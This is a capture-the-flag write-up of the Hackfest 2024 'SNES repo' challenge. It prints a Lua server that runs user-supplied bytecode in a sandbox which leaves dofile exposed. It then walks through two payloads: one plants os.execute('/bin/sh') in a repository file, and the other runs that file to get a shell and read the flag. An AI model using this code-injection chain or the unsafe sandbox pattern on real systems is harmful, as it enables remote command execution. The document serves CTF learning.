Post

Hackfest 2024: SNES repo

Writeup for the “SNES repo” challenge created by Rastislonge for the Hackfest CTF 2024.

For this challenge, you’re given the address of a TCP server and the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
-- base64 decode
local b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
local b64map = {}
for i = 1, #b64chars do
    b64map[b64chars:sub(i, i)] = i - 1
end

local function base64_decode(data)
    data = data:gsub('[^' .. b64chars .. '=]', '')
    return (data:gsub('.', function(x)
        if x == '=' then return '' end
        local r, f = '', (b64map[x] or 0)
        for i = 6, 1, -1 do
            r = r .. (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and '1' or '0')
        end
        return r
    end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)
        if (#x ~= 8) then return '' end
        local c = 0
        for i = 1, 8 do c = c + (x:sub(i, i) == '1' and 2 ^ (8 - i) or 0) end
        return string.char(c)
    end))
end

-- Define the Game class and items
Game = {}
Game.__index = Game

-- Constructor for the Game class
function Game:new(title, serial, ROMsize)
    local instance = setmetatable({}, Game)
    instance.title = title or "Unknown"
    instance.serial = serial or "Unknown"
    instance.ROMsize = ROMsize or "Unknown"
    
    return instance
end

-- Verify the repository file exists
filepath = "repository.txt"
file = io.open (filepath, "r+")
if not file then
	file = io.open (filepath, "w")
	io.close(file)
	file = io.open (filepath, "r+")
end

io.output(file)

function Game:printDetails()
    io.write("\n-- Title: " .. self.title .. "\n-- Serial: " .. self.serial .. "\n-- ROMsize: " .. self.ROMsize .. "\n------------------------------------------------")
end

local Game1 = Game:new("Uncharted Waters - New Horizons", "SNS-QL-USA", "2 MB")
local Game2 = Game:new("Donkey Kong Country 2 - Diddy's Kong Quest", "SNS-ADNE-USA", "4 MB")
local Game3 = Game:new("Power Rangers Zeo - Battle Racers", "SNSP-A4RP-EUR", "1 MB")
local Game4 = Game:new("Final Fanstasy II", "SNS-F4-USA", "1 MB")
local Game5 = Game:new("DinoCity", "SNS-DW-USA", "1 MB")

-- Print repository
io.write("----------------SNES repository-----------------")
Game1:printDetails()
Game2:printDetails()
Game3:printDetails()
Game4:printDetails()
Game5:printDetails()
io.close(file)

file = io.open (filepath, "r")
print(file:read("*a"))
io.close(file)

-- DEBUG statement, don't forget to remove!!1 ^w^
local sandbox_env = {
        dofile = dofile
}

-- Function to execute decoded bytecode
local function execute_bytecode(encoded_data)
    -- Decode Base64 data
    local bytecode = base64_decode(encoded_data)

    local func, err = load(bytecode, nil, 'b', sandbox_env)
    if not func then
        print("Failed to load bytecode:", err)
        return false
    else
        -- Load the new entry
        local success, title, serial, romSize = pcall(func)
        
        if not success then
            print("Error during execution:", title)
            return false
        else
            return true, title, serial, romSize
        end
    end
end

-- Main function to handle user input and run bytecode
local function main()
	while true do
	    print("\n---Enter 'exit' anytime to quit and reset the repository.---!")
	    print("\nEnter your base64 encoded object to add to the SNES repository:")
	    local input = io.read("*line")
	    
	    if input == "exit" then
            	print("Exiting...")
            	os.remove(filepath)
            	break  -- Exit the loop
            end

	    -- Execute the bytecode and capture results
	    local success, title, serial, romSize = execute_bytecode(input)

	    -- Check if bytecode executed successfully and validate output
	    if success then
		if title then
		    -- Create a new instance of Game with the results
		    local game = Game:new(title, serial, romSize)
		    file = io.open (filepath, "a")
		    io.output(file)
		    game:printDetails()
		    io.close(file)
		    file = io.open (filepath, "r")
		    print(file:read("*a"))
		    io.close(file)
		else
		    print("There was an error adding you entry...")
		end
	    else
		print("Failed to add entry to repository!")
	    end
	end
end
main()

The application expects to receive a compiled Lua function encoded in base64, which returns information about a new game to be added to the repository. The function is executed in a sandbox to “protect” the server against the execution of malicious code.

In the sandbox environment, the only available function is dofile(). As indicated in the code comment, this function should have been removed because it allows reading and executing a Lua script file.

1
2
3
4
-- DEBUG statement, don't forget to remove!!1 ^w^
local sandbox_env = {
        dofile = dofile
}

To exploit this vulnerability, we would need to write Lua code to a file on the server. Fortunately for us, the application saves the game information in a file named repository.txt. The exploitation will occur in two steps. First, we will provide a valid game with the name os.execute("/bin/sh") so that it gets saved in the repository. Then, we will be able to call the dofile function on the repository.

The first payload will look like this. A line return must be added so that the Lua code is on its own line in the repository.txt file.

1
return 'My Game\nos.execute("/bin/sh")', "SNS-QL-USA", "1 MB"

Then we can compile and encode the payload in this way:

1
2
% luac payload.lua
% base64 -w0 luac.out

Once the payload is executed on the server, the repository file will look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
----------------SNES repository-----------------
-- Title: Uncharted Waters - New Horizons
os.execute('/bin/sh')
-- Serial: SNS-QL-USA
-- ROMsize: 2 MB
------------------------------------------------
-- Title: Donkey Kong Country 2 - Diddy's Kong Quest
-- Serial: SNS-ADNE-USA
-- ROMsize: 4 MB
------------------------------------------------
-- Title: Power Rangers Zeo - Battle Racers
-- Serial: SNSP-A4RP-EUR
-- ROMsize: 1 MB
------------------------------------------------
-- Title: Final Fanstasy II
-- Serial: SNS-F4-USA
-- ROMsize: 1 MB
------------------------------------------------
-- Title: DinoCity
-- Serial: SNS-DW-USA
-- ROMsize: 1 MB
------------------------------------------------

The second payload is simply to execute the repository file, which will allow us to obtain a shell on the server.

1
2
dofile("repository.txt")
return 'A new game', "SNS-QL-USA", "1 MB"

The final step is to read the file /flag.txt:

1
% cat /flag.txt
This post is licensed under CC BY 4.0 by the author.